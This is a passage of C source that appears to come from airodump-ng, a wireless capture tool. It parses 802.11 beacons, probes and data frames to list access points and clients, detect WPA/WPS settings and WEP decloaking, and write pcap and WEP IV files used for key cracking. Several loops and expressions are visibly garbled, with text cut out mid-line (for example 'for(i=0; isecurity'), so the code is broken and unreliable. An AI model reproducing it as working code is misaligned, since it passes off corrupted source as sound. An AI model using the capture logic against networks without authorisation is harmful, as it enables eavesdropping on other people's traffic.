MHz to hop\n" " --cswitch : Set channel switching method\n" " 0 : FIFO (default)\n" " 1 : Round Robin\n" " 2 : Hop on last\n" " -s : same as --cswitch\n" "\n" " --help : Displays this usage screen\n" "\n"; int is_filtered_netmask(unsigned char *bssid) { unsigned char mac1[6]; unsigned char mac2[6]; int i; for(i=0; i<6; i++) { mac1[i] = bssid[i] & G.f_netmask[i]; mac2[i] = G.f_bssid[i] & G.f_netmask[i]; } if( memcmp(mac1, mac2, 6) != 0 ) { return( 1 ); } return 0; } int is_filtered_essid(unsigned char *essid) { int ret = 0; int i; if(G.f_essid) { for(i=0; iftimer.tv_sec ) + (cur_time.tv_usec - ap_cur->ftimer.tv_usec); /* update every `QLT_TIME`seconds if the rate is low, or every 500ms otherwise */ if( (ap_cur->fcapt >= QLT_COUNT && time_diff > 500000 ) || time_diff > (QLT_TIME * 1000000) ) { /* at least one frame captured */ if(ap_cur->fcapt > 1) { capt_time = ( 1000000UL * (ap_cur->ftimel.tv_sec - ap_cur->ftimef.tv_sec ) //time between first and last captured frame + (ap_cur->ftimel.tv_usec - ap_cur->ftimef.tv_usec) ); miss_time = ( 1000000UL * (ap_cur->ftimef.tv_sec - ap_cur->ftimer.tv_sec ) //time between timer reset and first frame + (ap_cur->ftimef.tv_usec - ap_cur->ftimer.tv_usec) ) + ( 1000000UL * (cur_time.tv_sec - ap_cur->ftimel.tv_sec ) //time between last frame and this moment + (cur_time.tv_usec - ap_cur->ftimel.tv_usec) ); //number of frames missed at the time where no frames were captured; extrapolated by assuming a constant framerate if(capt_time > 0 && miss_time > 200000) { missed_frames = ((float)((float)miss_time/(float)capt_time) * ((float)ap_cur->fcapt + (float)ap_cur->fmiss)); ap_cur->fmiss += missed_frames; } ap_cur->rx_quality = ((float)((float)ap_cur->fcapt / ((float)ap_cur->fcapt + (float)ap_cur->fmiss)) * #if defined(__x86_64__) && defined(__CYGWIN__) (0.0f + 100)); #else 100.0f); #endif } else ap_cur->rx_quality = 0; /* no packets -> zero quality */ /* normalize, in case the seq numbers are not iterating */ if(ap_cur->rx_quality > 100) ap_cur->rx_quality = 100; if(ap_cur->rx_quality < 0 ) ap_cur->rx_quality = 0; /* reset variables */ ap_cur->fcapt = 0; ap_cur->fmiss = 0; gettimeofday( &(ap_cur->ftimer) ,NULL); } ap_cur = ap_cur->next; } /* stations */ while( st_cur != NULL ) { time_diff = 1000000UL * (cur_time.tv_sec - st_cur->ftimer.tv_sec ) + (cur_time.tv_usec - st_cur->ftimer.tv_usec); if( time_diff > 10000000 ) { st_cur->missed = 0; gettimeofday( &(st_cur->ftimer), NULL ); } st_cur = st_cur->next; } } /* setup the output files */ int dump_initialize( char *prefix, int ivs_only ) { int i, ofn_len; FILE *f; char * ofn = NULL; /* If you only want to see what happening, send all data to /dev/null */ if ( prefix == NULL || strlen( prefix ) == 0) { return( 0 ); } /* Create a buffer of the length of the prefix + '-' + 2 numbers + '.' + longest extension ("kismet.netxml") + terminating 0. */ ofn_len = strlen(prefix) + 1 + 2 + 1 + 13 + 1; ofn = (char *)calloc(1, ofn_len); G.f_index = 1; /* Make sure no file with the same name & all possible file extensions. */ do { for( i = 0; i < NB_EXTENSIONS; i++ ) { memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, f_ext[i] ); if( ( f = fopen( ofn, "rb+" ) ) != NULL ) { fclose( f ); G.f_index++; break; } } } /* If we did all extensions then no file with that name or extension exist so we can use that number */ while( i < NB_EXTENSIONS ); G.prefix = (char *) malloc(strlen(prefix) + 1); memcpy(G.prefix, prefix, strlen(prefix) + 1); /* create the output CSV file */ if (G.output_format_csv) { memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, AIRODUMP_NG_CSV_EXT ); if( ( G.f_txt = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); free( ofn ); return( 1 ); } } /* create the output Kismet CSV file */ if (G.output_format_kismet_csv) { memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, KISMET_CSV_EXT ); if( ( G.f_kis = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); free( ofn ); return( 1 ); } } /* create the output GPS file */ if (G.usegpsd) { memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, AIRODUMP_NG_GPS_EXT ); if( ( G.f_gps = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); free( ofn ); return( 1 ); } } /* Create the output kismet.netxml file */ if (G.output_format_kismet_netxml) { memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, KISMET_NETXML_EXT ); if( ( G.f_kis_xml = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); free( ofn ); return( 1 ); } } /* create the output packet capture file */ if( G.output_format_pcap ) { struct pcap_file_header pfh; memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, AIRODUMP_NG_CAP_EXT ); if( ( G.f_cap = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); free( ofn ); return( 1 ); } G.f_cap_name = (char *) malloc( strlen( ofn ) + 1 ); memcpy( G.f_cap_name, ofn, strlen( ofn ) + 1 ); free( ofn ); pfh.magic = TCPDUMP_MAGIC; pfh.version_major = PCAP_VERSION_MAJOR; pfh.version_minor = PCAP_VERSION_MINOR; pfh.thiszone = 0; pfh.sigfigs = 0; pfh.snaplen = 65535; pfh.linktype = LINKTYPE_IEEE802_11; if( fwrite( &pfh, 1, sizeof( pfh ), G.f_cap ) != (size_t) sizeof( pfh ) ) { perror( "fwrite(pcap file header) failed" ); return( 1 ); } } else if ( ivs_only ) { struct ivs2_filehdr fivs2; fivs2.version = IVS2_VERSION; memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, IVS2_EXTENSION ); if( ( G.f_ivs = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); free( ofn ); return( 1 ); } free( ofn ); if( fwrite( IVS2_MAGIC, 1, 4, G.f_ivs ) != (size_t) 4 ) { perror( "fwrite(IVs file MAGIC) failed" ); return( 1 ); } if( fwrite( &fivs2, 1, sizeof(struct ivs2_filehdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_filehdr) ) { perror( "fwrite(IVs file header) failed" ); return( 1 ); } } else { free( ofn ); } return( 0 ); } int update_dataps() { struct timeval tv; struct AP_info *ap_cur; struct NA_info *na_cur; int sec, usec, diff, ps; float pause; gettimeofday(&tv, NULL); ap_cur = G.ap_end; while( ap_cur != NULL ) { sec = (tv.tv_sec - ap_cur->tv.tv_sec); usec = (tv.tv_usec - ap_cur->tv.tv_usec); #if defined(__x86_64__) && defined(__CYGWIN__) pause = (((float)(sec*(0.0f + 1000000) + usec))/((0.0f + 1000000))); #else pause = (((float)(sec*1000000.0f + usec))/(1000000.0f)); #endif if( pause > 2.0f ) { diff = ap_cur->nb_data - ap_cur->nb_data_old; ps = (int)(((float)diff)/pause); ap_cur->nb_dataps = ps; ap_cur->nb_data_old = ap_cur->nb_data; gettimeofday(&(ap_cur->tv), NULL); } ap_cur = ap_cur->prev; } na_cur = G.na_1st; while( na_cur != NULL ) { sec = (tv.tv_sec - na_cur->tv.tv_sec); usec = (tv.tv_usec - na_cur->tv.tv_usec); #if defined(__x86_64__) && defined(__CYGWIN__) pause = (((float)(sec*(0.0f + 1000000) + usec))/((0.0f + 1000000))); #else pause = (((float)(sec*1000000.0f + usec))/(1000000.0f)); #endif if( pause > 2.0f ) { diff = na_cur->ack - na_cur->ack_old; ps = (int)(((float)diff)/pause); na_cur->ackps = ps; na_cur->ack_old = na_cur->ack; gettimeofday(&(na_cur->tv), NULL); } na_cur = na_cur->next; } return(0); } int list_tail_free(struct pkt_buf **list) { struct pkt_buf **pkts; struct pkt_buf *next; if(list == NULL) return 1; pkts = list; while(*pkts != NULL) { next = (*pkts)->next; if( (*pkts)->packet ) { free( (*pkts)->packet); (*pkts)->packet=NULL; } if(*pkts) { free(*pkts); *pkts = NULL; } *pkts = next; } *list=NULL; return 0; } int list_add_packet(struct pkt_buf **list, int length, unsigned char* packet) { struct pkt_buf *next = *list; if(length <= 0) return 1; if(packet == NULL) return 1; if(list == NULL) return 1; *list = (struct pkt_buf*) malloc(sizeof(struct pkt_buf)); if( *list == NULL ) return 1; (*list)->packet = (unsigned char*) malloc(length); if( (*list)->packet == NULL ) return 1; memcpy((*list)->packet, packet, length); (*list)->next = next; (*list)->length = length; gettimeofday( &((*list)->ctime), NULL); return 0; } /* * Check if the same IV was used if the first two bytes were the same. * If they are not identical, it would complain. * The reason is that the first two bytes unencrypted are 'aa' * so with the same IV it should always be encrypted to the same thing. */ int list_check_decloak(struct pkt_buf **list, int length, unsigned char* packet) { struct pkt_buf *next = *list; struct timeval tv1; int timediff; int i, correct; if( packet == NULL) return 1; if( list == NULL ) return 1; if( *list == NULL ) return 1; if( length <= 0) return 1; gettimeofday(&tv1, NULL); timediff = (((tv1.tv_sec - ((*list)->ctime.tv_sec)) * 1000000UL) + (tv1.tv_usec - ((*list)->ctime.tv_usec))) / 1000; if( timediff > BUFFER_TIME ) { list_tail_free(list); next=NULL; } while(next != NULL) { if(next->next != NULL) { timediff = (((tv1.tv_sec - (next->next->ctime.tv_sec)) * 1000000UL) + (tv1.tv_usec - (next->next->ctime.tv_usec))) / 1000; if( timediff > BUFFER_TIME ) { list_tail_free(&(next->next)); break; } } if( (next->length + 4) == length) { correct = 1; // check for 4 bytes added after the end for(i=28;ipacket[i] != packet[i]) { correct = 0; break; } } if(!correct) { correct = 1; // check for 4 bytes added at the beginning for(i=28;ipacket[i] != packet[4+i]) { correct = 0; break; } } } if(correct == 1) return 0; //found decloaking! } next = next->next; } return 1; //didn't find decloak } int remove_namac(unsigned char* mac) { struct NA_info *na_cur = NULL; struct NA_info *na_prv = NULL; if(mac == NULL) return( -1 ); na_cur = G.na_1st; na_prv = NULL; while( na_cur != NULL ) { if( ! memcmp( na_cur->namac, mac, 6 ) ) break; na_prv = na_cur; na_cur = na_cur->next; } /* if it's known, remove it */ if( na_cur != NULL ) { /* first in linked list */ if(na_cur == G.na_1st) { G.na_1st = na_cur->next; } else { na_prv->next = na_cur->next; } free(na_cur); na_cur=NULL; } return( 0 ); } int dump_add_packet( unsigned char *h80211, int caplen, struct rx_info *ri, int cardnum ) { int i, n, seq, msd, dlen, offset, clen, o; unsigned z; int type, length, numuni=0, numauth=0; struct pcap_pkthdr pkh; struct timeval tv; struct ivs2_pkthdr ivs2; unsigned char *p, *org_p, c; unsigned char bssid[6]; unsigned char stmac[6]; unsigned char namac[6]; unsigned char clear[2048]; int weight[16]; int num_xor=0; struct AP_info *ap_cur = NULL; struct ST_info *st_cur = NULL; struct NA_info *na_cur = NULL; struct AP_info *ap_prv = NULL; struct ST_info *st_prv = NULL; struct NA_info *na_prv = NULL; /* skip all non probe response frames in active scanning simulation mode */ if( G.active_scan_sim > 0 && h80211[0] != 0x50 ) return(0); /* skip packets smaller than a 802.11 header */ if( caplen < 24 ) goto write_packet; /* skip (uninteresting) control frames */ if( ( h80211[0] & 0x0C ) == 0x04 ) goto write_packet; /* if it's a LLC null packet, just forget it (may change in the future) */ if ( caplen > 28) if ( memcmp(h80211 + 24, llcnull, 4) == 0) return ( 0 ); /* grab the sequence number */ seq = ((h80211[22]>>4)+(h80211[23]<<4)); /* locate the access point's MAC address */ switch( h80211[1] & 3 ) { case 0: memcpy( bssid, h80211 + 16, 6 ); break; //Adhoc case 1: memcpy( bssid, h80211 + 4, 6 ); break; //ToDS case 2: memcpy( bssid, h80211 + 10, 6 ); break; //FromDS case 3: memcpy( bssid, h80211 + 10, 6 ); break; //WDS -> Transmitter taken as BSSID } if( memcmp(G.f_bssid, NULL_MAC, 6) != 0 ) { if( memcmp(G.f_netmask, NULL_MAC, 6) != 0 ) { if(is_filtered_netmask(bssid)) return(1); } else { if( memcmp(G.f_bssid, bssid, 6) != 0 ) return(1); } } /* update our chained list of access points */ ap_cur = G.ap_1st; ap_prv = NULL; while( ap_cur != NULL ) { if( ! memcmp( ap_cur->bssid, bssid, 6 ) ) break; ap_prv = ap_cur; ap_cur = ap_cur->next; } /* if it's a new access point, add it */ if( ap_cur == NULL ) { if( ! ( ap_cur = (struct AP_info *) malloc( sizeof( struct AP_info ) ) ) ) { perror( "malloc failed" ); return( 1 ); } /* if mac is listed as unknown, remove it */ remove_namac(bssid); memset( ap_cur, 0, sizeof( struct AP_info ) ); if( G.ap_1st == NULL ) G.ap_1st = ap_cur; else ap_prv->next = ap_cur; memcpy( ap_cur->bssid, bssid, 6 ); if (ap_cur->manuf == NULL) { ap_cur->manuf = get_manufacturer(ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2]); } ap_cur->nb_pkt = 0; ap_cur->prev = ap_prv; ap_cur->tinit = time( NULL ); ap_cur->tlast = time( NULL ); ap_cur->avg_power = -1; ap_cur->best_power = -1; ap_cur->power_index = -1; for( i = 0; i < NB_PWR; i++ ) ap_cur->power_lvl[i] = -1; ap_cur->channel = -1; ap_cur->max_speed = -1; ap_cur->security = 0; ap_cur->uiv_root = uniqueiv_init(); ap_cur->nb_data = 0; ap_cur->nb_dataps = 0; ap_cur->nb_data_old = 0; gettimeofday(&(ap_cur->tv), NULL); ap_cur->dict_started = 0; ap_cur->key = NULL; G.ap_end = ap_cur; ap_cur->nb_bcn = 0; ap_cur->rx_quality = 0; ap_cur->fcapt = 0; ap_cur->fmiss = 0; ap_cur->last_seq = 0; gettimeofday( &(ap_cur->ftimef), NULL); gettimeofday( &(ap_cur->ftimel), NULL); gettimeofday( &(ap_cur->ftimer), NULL); ap_cur->ssid_length = 0; ap_cur->essid_stored = 0; memset( ap_cur->essid, 0, MAX_IE_ELEMENT_SIZE ); ap_cur->timestamp = 0; ap_cur->decloak_detect=G.decloak; ap_cur->is_decloak = 0; ap_cur->packets = NULL; ap_cur->marked = 0; ap_cur->marked_color = 1; ap_cur->data_root = NULL; ap_cur->EAP_detected = 0; memcpy(ap_cur->gps_loc_min, G.gps_loc, sizeof(float)*5); memcpy(ap_cur->gps_loc_max, G.gps_loc, sizeof(float)*5); memcpy(ap_cur->gps_loc_best, G.gps_loc, sizeof(float)*5); } /* update the last time seen */ ap_cur->tlast = time( NULL ); /* only update power if packets comes from * the AP: either type == mgmt and SA != BSSID, * or FromDS == 1 and ToDS == 0 */ if( ( ( h80211[1] & 3 ) == 0 && memcmp( h80211 + 10, bssid, 6 ) == 0 ) || ( ( h80211[1] & 3 ) == 2 ) ) { ap_cur->power_index = ( ap_cur->power_index + 1 ) % NB_PWR; ap_cur->power_lvl[ap_cur->power_index] = ri->ri_power; ap_cur->avg_power = 0; for( i = 0, n = 0; i < NB_PWR; i++ ) { if( ap_cur->power_lvl[i] != -1 ) { ap_cur->avg_power += ap_cur->power_lvl[i]; n++; } } if( n > 0 ) { ap_cur->avg_power /= n; if( ap_cur->avg_power > ap_cur->best_power ) { ap_cur->best_power = ap_cur->avg_power; memcpy(ap_cur->gps_loc_best, G.gps_loc, sizeof(float)*5); } } else ap_cur->avg_power = -1; /* every packet in here comes from the AP */ if(G.gps_loc[0] > ap_cur->gps_loc_max[0]) ap_cur->gps_loc_max[0] = G.gps_loc[0]; if(G.gps_loc[1] > ap_cur->gps_loc_max[1]) ap_cur->gps_loc_max[1] = G.gps_loc[1]; if(G.gps_loc[2] > ap_cur->gps_loc_max[2]) ap_cur->gps_loc_max[2] = G.gps_loc[2]; if(G.gps_loc[0] < ap_cur->gps_loc_min[0]) ap_cur->gps_loc_min[0] = G.gps_loc[0]; if(G.gps_loc[1] < ap_cur->gps_loc_min[1]) ap_cur->gps_loc_min[1] = G.gps_loc[1]; if(G.gps_loc[2] < ap_cur->gps_loc_min[2]) ap_cur->gps_loc_min[2] = G.gps_loc[2]; // printf("seqnum: %i\n", seq); if(ap_cur->fcapt == 0 && ap_cur->fmiss == 0) gettimeofday( &(ap_cur->ftimef), NULL); if(ap_cur->last_seq != 0) ap_cur->fmiss += (seq - ap_cur->last_seq - 1); ap_cur->last_seq = seq; ap_cur->fcapt++; gettimeofday( &(ap_cur->ftimel), NULL); // if(ap_cur->fcapt >= QLT_COUNT) update_rx_quality(); } switch( h80211[0] ) { case 0x80: ap_cur->nb_bcn++; case 0x50: /* reset the WPS state */ ap_cur->wps.state = 0xFF; ap_cur->wps.ap_setup_locked = 0; break; } ap_cur->nb_pkt++; /* locate the station MAC in the 802.11 header */ switch( h80211[1] & 3 ) { case 0: /* if management, check that SA != BSSID */ if( memcmp( h80211 + 10, bssid, 6 ) == 0 ) goto skip_station; memcpy( stmac, h80211 + 10, 6 ); break; case 1: /* ToDS packet, must come from a client */ memcpy( stmac, h80211 + 10, 6 ); break; case 2: /* FromDS packet, reject broadcast MACs */ if( (h80211[4]%2) != 0 ) goto skip_station; memcpy( stmac, h80211 + 4, 6 ); break; default: goto skip_station; } /* update our chained list of wireless stations */ st_cur = G.st_1st; st_prv = NULL; while( st_cur != NULL ) { if( ! memcmp( st_cur->stmac, stmac, 6 ) ) break; st_prv = st_cur; st_cur = st_cur->next; } /* if it's a new client, add it */ if( st_cur == NULL ) { if( ! ( st_cur = (struct ST_info *) malloc( sizeof( struct ST_info ) ) ) ) { perror( "malloc failed" ); return( 1 ); } /* if mac is listed as unknown, remove it */ remove_namac(stmac); memset( st_cur, 0, sizeof( struct ST_info ) ); if( G.st_1st == NULL ) G.st_1st = st_cur; else st_prv->next = st_cur; memcpy( st_cur->stmac, stmac, 6 ); if (st_cur->manuf == NULL) { st_cur->manuf = get_manufacturer(st_cur->stmac[0], st_cur->stmac[1], st_cur->stmac[2]); } st_cur->nb_pkt = 0; st_cur->prev = st_prv; st_cur->tinit = time( NULL ); st_cur->tlast = time( NULL ); st_cur->power = -1; st_cur->rate_to = -1; st_cur->rate_from = -1; st_cur->probe_index = -1; st_cur->missed = 0; st_cur->lastseq = 0; st_cur->qos_fr_ds = 0; st_cur->qos_to_ds = 0; st_cur->channel = 0; gettimeofday( &(st_cur->ftimer), NULL); for( i = 0; i < NB_PRB; i++ ) { memset( st_cur->probes[i], 0, sizeof( st_cur->probes[i] ) ); st_cur->ssid_length[i] = 0; } G.st_end = st_cur; } if( st_cur->base == NULL || memcmp( ap_cur->bssid, BROADCAST, 6 ) != 0 ) st_cur->base = ap_cur; //update bitrate to station if( (st_cur != NULL) && ( h80211[1] & 3 ) == 2 ) st_cur->rate_to = ri->ri_rate; /* update the last time seen */ st_cur->tlast = time( NULL ); /* only update power if packets comes from the * client: either type == Mgmt and SA != BSSID, * or FromDS == 0 and ToDS == 1 */ if( ( ( h80211[1] & 3 ) == 0 && memcmp( h80211 + 10, bssid, 6 ) != 0 ) || ( ( h80211[1] & 3 ) == 1 ) ) { st_cur->power = ri->ri_power; st_cur->rate_from = ri->ri_rate; if(ri->ri_channel > 0 && ri->ri_channel <= HIGHEST_CHANNEL) st_cur->channel = ri->ri_channel; else st_cur->channel = G.channel[cardnum]; if(st_cur->lastseq != 0) { msd = seq - st_cur->lastseq - 1; if(msd > 0 && msd < 1000) st_cur->missed += msd; } st_cur->lastseq = seq; } st_cur->nb_pkt++; skip_station: /* packet parsing: Probe Request */ if( h80211[0] == 0x40 && st_cur != NULL ) { p = h80211 + 24; while( p < h80211 + caplen ) { if( p + 2 + p[1] > h80211 + caplen ) break; if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' && ( p[1] > 1 || p[2] != ' ' ) ) { // n = ( p[1] > 32 ) ? 32 : p[1]; n = p[1]; for( i = 0; i < n; i++ ) if( p[2 + i] > 0 && p[2 + i] < ' ' ) goto skip_probe; /* got a valid ASCII probed ESSID, check if it's already in the ring buffer */ for( i = 0; i < NB_PRB; i++ ) if( memcmp( st_cur->probes[i], p + 2, n ) == 0 ) goto skip_probe; st_cur->probe_index = ( st_cur->probe_index + 1 ) % NB_PRB; memset( st_cur->probes[st_cur->probe_index], 0, 256 ); memcpy( st_cur->probes[st_cur->probe_index], p + 2, n ); //twice?! st_cur->ssid_length[st_cur->probe_index] = n; for( i = 0; i < n; i++ ) { c = p[2 + i]; if( c == 0 || ( c > 126 && c < 160 ) ) c = '.'; //could also check ||(c>0 && c<32) st_cur->probes[st_cur->probe_index][i] = c; } } p += 2 + p[1]; } } skip_probe: /* packet parsing: Beacon or Probe Response */ if( h80211[0] == 0x80 || h80211[0] == 0x50 ) { if( !(ap_cur->security & (STD_OPN|STD_WEP|STD_WPA|STD_WPA2)) ) { if( ( h80211[34] & 0x10 ) >> 4 ) ap_cur->security |= STD_WEP|ENC_WEP; else ap_cur->security |= STD_OPN; } ap_cur->preamble = ( h80211[34] & 0x20 ) >> 5; unsigned long long *tstamp = (unsigned long long *) (h80211 + 24); ap_cur->timestamp = letoh64(*tstamp); p = h80211 + 36; while( p < h80211 + caplen ) { if( p + 2 + p[1] > h80211 + caplen ) break; //only update the essid length if the new length is > the old one if( p[0] == 0x00 && (ap_cur->ssid_length < p[1]) ) ap_cur->ssid_length = p[1]; if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' && ( p[1] > 1 || p[2] != ' ' ) ) { /* found a non-cloaked ESSID */ // n = ( p[1] > 32 ) ? 32 : p[1]; n = p[1]; memset( ap_cur->essid, 0, 256 ); memcpy( ap_cur->essid, p + 2, n ); if( G.f_ivs != NULL && !ap_cur->essid_stored ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags |= IVS2_ESSID; ivs2.len += ap_cur->ssid_length; if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 ) { ivs2.flags |= IVS2_BSSID; ivs2.len += 6; memcpy( G.prev_bssid, ap_cur->bssid, 6 ); } /* write header */ if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } /* write BSSID */ if(ivs2.flags & IVS2_BSSID) { if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } } /* write essid */ if( fwrite( ap_cur->essid, 1, ap_cur->ssid_length, G.f_ivs ) != (size_t) ap_cur->ssid_length ) { perror( "fwrite(IV essid) failed" ); return( 1 ); } ap_cur->essid_stored = 1; } for( i = 0; i < n; i++ ) if( ( ap_cur->essid[i] > 0 && ap_cur->essid[i] < 32 ) || ( ap_cur->essid[i] > 126 && ap_cur->essid[i] < 160 ) ) ap_cur->essid[i] = '.'; } /* get the maximum speed in Mb and the AP's channel */ if( p[0] == 0x01 || p[0] == 0x32 ) { if(ap_cur->max_speed < ( p[1 + p[1]] & 0x7F ) / 2) ap_cur->max_speed = ( p[1 + p[1]] & 0x7F ) / 2; } if( p[0] == 0x03 ) ap_cur->channel = p[2]; p += 2 + p[1]; } } /* packet parsing: Beacon & Probe response */ if( (h80211[0] == 0x80 || h80211[0] == 0x50) && caplen > 38) { p=h80211+36; //ignore hdr + fixed params while( p < h80211 + caplen ) { type = p[0]; length = p[1]; if(p+2+length > h80211 + caplen) { /* printf("error parsing tags! %p vs. %p (tag: %i, length: %i,position: %i)\n", (p+2+length), (h80211+caplen), type, length, (p-h80211)); exit(1);*/ break; } if( (type == 0xDD && (length >= 8) && (memcmp(p+2, "\x00\x50\xF2\x01\x01\x00", 6) == 0)) || (type == 0x30) ) { ap_cur->security &= ~(STD_WEP|ENC_WEP|STD_WPA); org_p = p; offset = 0; if(type == 0xDD) { //WPA defined in vendor specific tag -> WPA1 support ap_cur->security |= STD_WPA; offset = 4; } if(type == 0x30) { ap_cur->security |= STD_WPA2; offset = 0; } if(length < (18+offset)) { p += length+2; continue; } if( p+9+offset > h80211+caplen ) break; numuni = p[8+offset] + (p[9+offset]<<8); if( p+ (11+offset) + 4*numuni > h80211+caplen) break; numauth = p[(10+offset) + 4*numuni] + (p[(11+offset) + 4*numuni]<<8); p += (10+offset); if(type != 0x30) { if( p + (4*numuni) + (2+4*numauth) > h80211+caplen) break; } else { if( p + (4*numuni) + (2+4*numauth) + 2 > h80211+caplen) break; } for(i=0; isecurity |= ENC_WEP; break; case 0x02: ap_cur->security |= ENC_TKIP; break; case 0x03: ap_cur->security |= ENC_WRAP; break; case 0x04: ap_cur->security |= ENC_CCMP; break; case 0x05: ap_cur->security |= ENC_WEP104; break; default: break; } } p += 2+4*numuni; for(i=0; isecurity |= AUTH_MGT; break; case 0x02: ap_cur->security |= AUTH_PSK; break; default: break; } } p += 2+4*numauth; if( type == 0x30 ) p += 2; p = org_p + length+2; } else if( (type == 0xDD && (length >= 8) && (memcmp(p+2, "\x00\x50\xF2\x02\x01\x01", 6) == 0))) { ap_cur->security |= STD_QOS; p += length+2; } else if( (type == 0xDD && (length >= 4) && (memcmp(p+2, "\x00\x50\xF2\x04", 4) == 0))) { org_p = p; p+=6; int len = length, subtype = 0, sublen = 0; while(len >= 4) { subtype = (p[0] << 8) + p[1]; sublen = (p[2] << 8) + p[3]; if(sublen > len) break; switch(subtype) { case 0x104a: // WPS Version ap_cur->wps.version = p[4]; break; case 0x1011: // Device Name case 0x1012: // Device Password ID case 0x1021: // Manufacturer case 0x1023: // Model case 0x1024: // Model Number case 0x103b: // Response Type case 0x103c: // RF Bands case 0x1041: // Selected Registrar case 0x1042: // Serial Number break; case 0x1044: // WPS State ap_cur->wps.state = p[4]; break; case 0x1047: // UUID Enrollee case 0x1049: // Vendor Extension case 0x1054: // Primary Device Type break; case 0x1057: // AP Setup Locked ap_cur->wps.ap_setup_locked = p[4]; break; case 0x1008: // Config Methods case 0x1053: // Selected Registrar Config Methods ap_cur->wps.meth = (p[4] << 8) + p[5]; break; default: // Unknown type-length-value break; } p += sublen+4; len -= sublen+4; } p = org_p + length+2; } else p += length+2; } } /* packet parsing: Authentication Response */ if( h80211[0] == 0xB0 && caplen >= 30) { if( ap_cur->security & STD_WEP ) { //successful step 2 or 4 (coming from the AP) if(memcmp(h80211+28, "\x00\x00", 2) == 0 && (h80211[26] == 0x02 || h80211[26] == 0x04)) { ap_cur->security &= ~(AUTH_OPN | AUTH_PSK | AUTH_MGT); if(h80211[24] == 0x00) ap_cur->security |= AUTH_OPN; if(h80211[24] == 0x01) ap_cur->security |= AUTH_PSK; } } } /* packet parsing: Association Request */ if( h80211[0] == 0x00 && caplen > 28 ) { p = h80211 + 28; while( p < h80211 + caplen ) { if( p + 2 + p[1] > h80211 + caplen ) break; if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' && ( p[1] > 1 || p[2] != ' ' ) ) { /* found a non-cloaked ESSID */ n = ( p[1] > 32 ) ? 32 : p[1]; memset( ap_cur->essid, 0, 33 ); memcpy( ap_cur->essid, p + 2, n ); if( G.f_ivs != NULL && !ap_cur->essid_stored ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags |= IVS2_ESSID; ivs2.len += ap_cur->ssid_length; if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 ) { ivs2.flags |= IVS2_BSSID; ivs2.len += 6; memcpy( G.prev_bssid, ap_cur->bssid, 6 ); } /* write header */ if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } /* write BSSID */ if(ivs2.flags & IVS2_BSSID) { if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } } /* write essid */ if( fwrite( ap_cur->essid, 1, ap_cur->ssid_length, G.f_ivs ) != (size_t) ap_cur->ssid_length ) { perror( "fwrite(IV essid) failed" ); return( 1 ); } ap_cur->essid_stored = 1; } for( i = 0; i < n; i++ ) if( ap_cur->essid[i] < 32 || ( ap_cur->essid[i] > 126 && ap_cur->essid[i] < 160 ) ) ap_cur->essid[i] = '.'; } p += 2 + p[1]; } if(st_cur != NULL) st_cur->wpa.state = 0; } /* packet parsing: some data */ if( ( h80211[0] & 0x0C ) == 0x08 ) { /* update the channel if we didn't get any beacon */ if( ap_cur->channel == -1 ) { if(ri->ri_channel > 0 && ri->ri_channel <= HIGHEST_CHANNEL) ap_cur->channel = ri->ri_channel; else ap_cur->channel = G.channel[cardnum]; } /* check the SNAP header to see if data is encrypted */ z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; /* Check if 802.11e (QoS) */ if( (h80211[0] & 0x80) == 0x80) { z+=2; if(st_cur != NULL) { if( (h80211[1] & 3) == 1 ) //ToDS st_cur->qos_to_ds = 1; else st_cur->qos_fr_ds = 1; } } else { if(st_cur != NULL) { if( (h80211[1] & 3) == 1 ) //ToDS st_cur->qos_to_ds = 0; else st_cur->qos_fr_ds = 0; } } if(z==24) { if(list_check_decloak(&(ap_cur->packets), caplen, h80211) != 0) { list_add_packet(&(ap_cur->packets), caplen, h80211); } else { ap_cur->is_decloak = 1; ap_cur->decloak_detect = 0; list_tail_free(&(ap_cur->packets)); memset(G.message, '\x00', sizeof(G.message)); snprintf( G.message, sizeof( G.message ) - 1, "][ Decloak: %02X:%02X:%02X:%02X:%02X:%02X ", ap_cur->bssid[0], 